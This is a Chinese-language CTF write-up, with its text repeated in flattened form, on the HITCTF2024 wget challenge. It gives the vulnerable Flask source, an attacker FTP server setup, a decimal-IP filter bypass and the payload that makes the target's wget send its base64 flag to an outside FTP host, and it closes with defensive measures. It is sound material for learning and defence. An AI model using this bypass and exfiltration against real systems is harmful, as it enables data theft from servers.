HITCTF2024 wget wp
字数 1328 2025-08-22 18:37:15

HITCTF2024 wget漏洞利用教学文档

漏洞概述

本教学文档基于HITCTF2024比赛中出现的wget漏洞利用题目,涉及CVE-2024-10524漏洞。该漏洞是wget工具的一个速记解析漏洞,允许攻击者通过精心构造的URL绕过预期行为,实现非预期的文件访问。

题目源码分析

题目提供了一个Flask web应用,主要功能如下:

from flask import Flask, request, render_template, jsonify
import subprocess
import os
import base64

app = Flask(__name__)

FLAG = os.getenv("FLAG", "flag{}")
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode()

@app.route("/")
def index():
    with open(__file__, "r") as file:
        source_code = file.read()
    return source_code

@app.route("/execute", methods=["POST"])
def execute():
    auth = request.form.get("auth")
    if not auth:
        return jsonify({"error": "auth is required"}), 401
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth):
        return jsonify({"error": "Hacker!"}), 400
    try:
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"]
        subprocess.run(command, check=True)
        return jsonify({"message": "Command executed successfully"})
    except Exception as e:
        return jsonify({"error": "Command failed"}), 500

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

关键点:

  1. 应用接受POST请求到/execute端点,需要一个auth参数
  2. auth参数有字符过滤,禁止了大多数特殊字符,但允许冒号:
  3. 使用wget命令访问{auth}@127.0.0.1:5000/{flag_base64}

CVE-2024-10524漏洞原理

wget在处理URL时存在速记解析漏洞:

  • 当尝试wget aaa:bbb@ccc
  • wget会错误地将其解释为ftp://aaa/bbb@ccc
  • 其中bbb@ccc会被识别为一个目录名

漏洞利用步骤

1. 搭建FTP服务器

在攻击者控制的服务器上配置vsftpd服务:

sudo apt install vsftpd
sudo systemctl start vsftpd
sudo systemctl enable vsftpd

修改配置文件/etc/vsftpd.conf

# 允许匿名用户访问
anonymous_enable=YES
# 匿名用户默认访问位置
anon_root=/home
# 匿名用户不需要输入密码
no_anon_password=YES
# 日志记录
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
# 启用详细日志记录
log_ftp_protocol=YES
dual_log_enable=YES
vsftpd_log_file=/var/log/vsftpd.log

2. 配置防火墙规则

sudo ufw allow 20/tcp
sudo ufw allow 21/tcp
sudo ufw allow 10000:10100/tcp
sudo ufw reload
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 20 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 10000:10100 -j ACCEPT
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo apt install iptables-persistent
sudo netfilter-persistent save

重启vsftpd服务:

sudo systemctl restart vsftpd

3. 准备FTP目录结构

/home目录下创建特定目录:

mkdir /home/kkkkk@127.0.0.1:5000

4. IP地址转换

由于题目过滤了.字符,需要将IP地址转换为十进制形式:

  • 使用在线工具将IP地址(如127.0.0.1)转换为2130706433

5. 构造payload

payload格式为:服务器IP的十进制:任意字符串
例如:2130706433:kkkkk

6. 发送恶意请求

向目标服务器的/execute端点发送POST请求,payload为:

auth=2130706433:kkkkk

7. 获取flag

检查FTP服务器日志:

cat /var/log/vsftpd.log

日志中将包含目标服务器尝试访问flag的记录。

漏洞利用原理详解

当发送payload 2130706433:kkkkk时:

  1. 服务器执行的命令:
command = ["wget", "2130706433:kkkkk@127.0.0.1:5000/{flag_base64}"]
  1. wget错误解析:
  • 2130706433:kkkkk@127.0.0.1:5000/flag_base64
  • 解释为ftp://2130706433/kkkkk@127.0.0.1:5000/flag_base64
  • 尝试连接到攻击者FTP服务器(2130706433即127.0.0.1)
  • 请求路径为/kkkkk@127.0.0.1:5000/flag_base64
  1. 由于我们在FTP服务器上创建了/home/kkkkk@127.0.0.1:5000目录
  2. wget会尝试列出该目录内容,并在日志中记录完整请求路径
  3. 通过查看日志即可获取flag的base64编码值

防御措施

  1. 对用户输入进行更严格的过滤,特别是冒号字符
  2. 更新wget到修复此漏洞的版本
  3. 使用更安全的文件下载方式替代直接调用wget
  4. 实施最小权限原则,限制子进程的执行权限

总结

本漏洞利用展示了如何通过wget的解析漏洞绕过安全限制,实现非预期的文件访问。关键在于:

  1. 识别wget的速记解析行为
  2. 利用允许的冒号字符构造恶意payload
  3. 通过FTP日志记录获取敏感信息

这种类型的漏洞强调了输入验证的重要性,以及在设计系统时考虑所有可能的解析行为。

HITCTF2024 wget漏洞利用教学文档 漏洞概述 本教学文档基于HITCTF2024比赛中出现的wget漏洞利用题目,涉及CVE-2024-10524漏洞。该漏洞是wget工具的一个速记解析漏洞,允许攻击者通过精心构造的URL绕过预期行为,实现非预期的文件访问。 题目源码分析 题目提供了一个Flask web应用,主要功能如下: 关键点: 应用接受POST请求到 /execute 端点,需要一个 auth 参数 auth 参数有字符过滤,禁止了大多数特殊字符,但允许冒号 : 使用wget命令访问 {auth}@127.0.0.1:5000/{flag_base64} CVE-2024-10524漏洞原理 wget在处理URL时存在速记解析漏洞: 当尝试 wget aaa:bbb@ccc 时 wget会错误地将其解释为 ftp://aaa/bbb@ccc 其中 bbb@ccc 会被识别为一个目录名 漏洞利用步骤 1. 搭建FTP服务器 在攻击者控制的服务器上配置vsftpd服务: 修改配置文件 /etc/vsftpd.conf : 2. 配置防火墙规则 重启vsftpd服务: 3. 准备FTP目录结构 在 /home 目录下创建特定目录: 4. IP地址转换 由于题目过滤了 . 字符,需要将IP地址转换为十进制形式: 使用在线工具将IP地址(如127.0.0.1)转换为2130706433 5. 构造payload payload格式为: 服务器IP的十进制:任意字符串 例如: 2130706433:kkkkk 6. 发送恶意请求 向目标服务器的 /execute 端点发送POST请求,payload为: 7. 获取flag 检查FTP服务器日志: 日志中将包含目标服务器尝试访问flag的记录。 漏洞利用原理详解 当发送payload 2130706433:kkkkk 时: 服务器执行的命令: wget错误解析: 将 2130706433:kkkkk@127.0.0.1:5000/flag_base64 解释为 ftp://2130706433/kkkkk@127.0.0.1:5000/flag_base64 尝试连接到攻击者FTP服务器(2130706433即127.0.0.1) 请求路径为 /kkkkk@127.0.0.1:5000/flag_base64 由于我们在FTP服务器上创建了 /home/kkkkk@127.0.0.1:5000 目录 wget会尝试列出该目录内容,并在日志中记录完整请求路径 通过查看日志即可获取flag的base64编码值 防御措施 对用户输入进行更严格的过滤,特别是冒号字符 更新wget到修复此漏洞的版本 使用更安全的文件下载方式替代直接调用wget 实施最小权限原则,限制子进程的执行权限 总结 本漏洞利用展示了如何通过wget的解析漏洞绕过安全限制,实现非预期的文件访问。关键在于: 识别wget的速记解析行为 利用允许的冒号字符构造恶意payload 通过FTP日志记录获取敏感信息 这种类型的漏洞强调了输入验证的重要性,以及在设计系统时考虑所有可能的解析行为。